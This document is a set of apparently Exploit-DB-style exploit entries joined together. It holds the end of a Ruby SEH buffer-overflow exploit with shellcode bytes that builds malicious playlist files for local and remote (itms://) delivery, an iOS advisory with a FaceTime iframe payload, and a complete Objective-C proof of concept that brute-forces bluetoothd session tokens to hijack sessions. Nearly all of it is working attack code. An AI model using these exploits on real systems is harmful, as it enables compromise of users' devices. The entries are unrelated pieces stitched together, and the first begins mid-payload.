"\xaf\xf7\x53\xbd\x93\xbe\xd8\x76\x67\x41\x09\x47\x88\x70" +
"\x75\x04\xb7\xbd\x78\x54\xff\x79\x63\x23\x0b\x7a\x1e\x34" +
"\xc8\x01\xc4\xb1\xcd\xa1\x8f\x62\x36\x50\x43\xf4\xbd\x5e" +
"\x28\x72\x99\x42\xaf\x57\x91\x7e\x24\x56\x76\xf7\x7e\x7d" +
"\x52\x5c\x24\x1c\xc3\x38\x8b\x21\x13\xe4\x74\x84\x5f\x06" +
"\x60\xbe\x3d\x4c\x77\x32\x38\x29\x77\x4c\x43\x19\x10\x7d" +
"\xc8\xf6\x67\x82\x1b\xb3\x98\xc8\x06\x95\x30\x95\xd2\xa4" +
"\x5c\x26\x09\xea\x58\xa5\xb8\x92\x9e\xb5\xc8\x97\xdb\x71" +
"\x20\xe5\x74\x14\x46\x5a\x74\x3d\x25\x3d\xe6\xdd\x84\xd8" +
"\x8e\x44\xd9"
#1020 --> offset in local exploits 
payload = header + "A" * 1020 + nseh_shorter + [seh].pack('V') + shell 
#380  or 404 (if itunes wasn't already loaded)--> offset in remote ones using the itms protocol.
payload_remote =  header + "A" * 380 + nseh_longer + [seh].pack('V') + "A" * 16 + nseh_shorter + [seh].pack('V') +  shell 

# when using as local exploit
open('exploit.pls', 'w') { |f|
  f.puts payload
}
puts('local file created')

# place this in a web server and use the itms:// protocol to load it.
open('exploit_remote.pls', 'w') { |f|
  f.puts payload_remote
}
puts('remote file created')
            
source: https://www.securityfocus.com/bid/66108/info

Apple iOS is affected by a security-bypass vulnerability.

Successfully exploiting this issue may allow an attacker to bypass certain security warnings. This may aid in further attacks.

These issues affect Apple iOS versions prior to 7.1.

<iframe src="facetime-audio://user () host com"></iframe> 
            
//
//  main.m
//  bluetoothdPoC
//
//  Created by Rani Idan.
//  Copyright © 2018 zLabs. All rights reserved.
//


#import "AppDelegate.h"

#include <mach/mach.h>

extern kern_return_t bootstrap_look_up(mach_port_t bs, const char *service_name, mach_port_t *service);

/* When hijacking session between bluetoothd and client, add callback to the client and jump to CALLBACK_ADDRESS with CALLBACK_ADDITIONAL_DATA */
#define CALLBACK_ADDRESS 0xdeadbeef
#define CALLBACK_ADDITIONAL_DATA 0x13371337

#define BLUETOOTHD_CONST 0xFA300
#define BLUETOOTHD_WRONG_TOKEN 7

#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE 0x44
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE 0x48
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS 0x113
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID 3
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT 0x1000
#define BLUETOOTHD_MIG_SERVER_NAME "com.apple.server.bluetooth"

#define ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET 0x28
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA 0x40



typedef unsigned int mach_msg_return_value;


mach_port_t get_service_port(char *service_name)
{
    
    kern_return_t ret = KERN_SUCCESS;
    mach_port_t service_port = MACH_PORT_NULL;
    mach_port_t bs = MACH_PORT_NULL;
    
    
    ret = task_get_bootstrap_port(mach_task_self(), &bs);
    
    ret = bootstrap_look_up(bootstrap_port, service_name, &service_port);
    if (ret)
    {
        NSLog(@"Couldn't find port for %s",service_name);
        return MACH_PORT_NULL;
    }
    
    NSLog(@"Got port: %x", service_port);
    
    mach_port_deallocate(mach_task_self(), bs);
    return service_port;
}


mach_msg_return_value BTLocalDevice_add_callback(mach_port_t bluetoothd_port, mach_port_t session_token, void* callback_address, long additional_data)
{
    mach_port_t receive_port = MACH_PORT_NULL;
    mach_msg_header_t * message = NULL;
    char *data = NULL;
    kern_return_t ret = KERN_SUCCESS;
    
    mach_msg_return_value return_value = 0;
    
    
    
    mach_msg_id_t msgh_id = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID;
    mach_msg_size_t recv_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE;
    mach_msg_size_t send_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE;
    mach_msg_option_t options = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS;
    mach_msg_size_t msg_size = MAX(recv_size, send_size);
    
    
    ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
    if ( ret != KERN_SUCCESS)
    {
        return_value = -3;
        NSLog(@"Failed to allocate port ret=%x", ret);
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        goto cleanup;
    }
    ret = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND);
    if ( ret != KERN_SUCCESS)
    {
        return_value = -3;
        NSLog(@"Failed to insert port right ret=%x", ret);
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        goto cleanup;
    }
    message = malloc(msg_size);
    data = (char *)message;
    
    memset(message, 0, msg_size);
    
    *((mach_port_t *)(data+ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET)) = session_token;
    *((void **)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET)) = callback_address;
    *((long *)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA)) = additional_data;
    
    message->msgh_bits = 0x1513 ;
    
    message->msgh_remote_port = bluetoothd_port; /* Request port */
    message->msgh_local_port = receive_port; /* Reply port */
    message->msgh_size =  send_size;    /* Message size */
    message->msgh_reserved = 0;
    
    
    message->msgh_id = BLUETOOTHD_CONST + msgh_id;
    
    ret = mach_msg(message,              /* The header */
                   options, /* Flags */
                   send_size,              /* Send size */
                   recv_size,              /* Max receive Size */
                   receive_port,                 /* Receive port */
                   BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT,        /* No timeout */
                   MACH_PORT_NULL);              /* No notification */
    
    
    if(MACH_MSG_SUCCESS == ret)
    {
        return_value = *(mach_msg_return_value *) (((char *) message) + ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET);
        if (return_value != BLUETOOTHD_WRONG_TOKEN) {
            NSLog(@"Sent message id %d with token %x, returned: %x", msgh_id, session_token, return_value);
        }
    } else if (MACH_RCV_INVALID_NAME == ret)
    {
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        NSLog(@"mach_error_int: ret=%x", ret);
        NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
        return_value = -2;
    }
    else {
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        NSLog(@"mach_error_int: ret=%x", ret);
        NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
        return_value = -1;
    }
    
    
cleanup:
    if(MACH_PORT_NULL != receive_port)
    {
        mach_port_destroy(mach_task_self(), receive_port);
    }
    if (NULL != message) {
        free(message);
    }
    return return_value;
}



void try_to_add_callback_BTLocalDeviceAddCallbacks(void * address, long value)
{
    int ports_found[0xffff] = {0};
    int number_of_ports_found = 0;
    
    mach_port_t bluetoothd_port = get_service_port(BLUETOOTHD_MIG_SERVER_NAME);
    if (MACH_PORT_NULL == bluetoothd_port)
    {
        NSLog(@"Couldn't have bluetoothd port");
        return;
    }
    
    NSLog(@"Starting to look for session tokens");
    for (int i = 0; i <= 0xffff; i++) {
        int id = 0;
        id = (i << 16) + 1;
        int result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
        if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
        {
            NSLog(@"Found port: %x", id);
            ports_found[number_of_ports_found] = id;
            number_of_ports_found ++;
        }
        
        
        id = (i << 16) + 2;
        result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
        if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
        {
            NSLog(@"Found port: %x", id);
            ports_found[number_of_ports_found] = id;
            number_of_ports_found ++;
        }
        
        
        id = (i << 16);
        result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
        if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
        {
            NSLog(@"Found port: %x", id);
            ports_found[number_of_ports_found] = id;
            number_of_ports_found ++;
        }
        
    }
    
    for (int i = number_of_ports_found-1; i>=0; i--) {
        NSLog(@"Adding callback: Port=%x address=%x value=%x", ports_found[i], (unsigned int)address, (unsigned int)value);
        BTLocalDevice_add_callback(bluetoothd_port, ports_found[i],address, value);
    }
    
    NSLog(@"Done");
    return;
}

void trigger() {
    try_to_add_callback_BTLocalDeviceAddCallbacks((void *)CALLBACK_ADDRESS, CALLBACK_ADDITIONAL_DATA);
}


int main(int argc, char * argv[]) {
    trigger();
}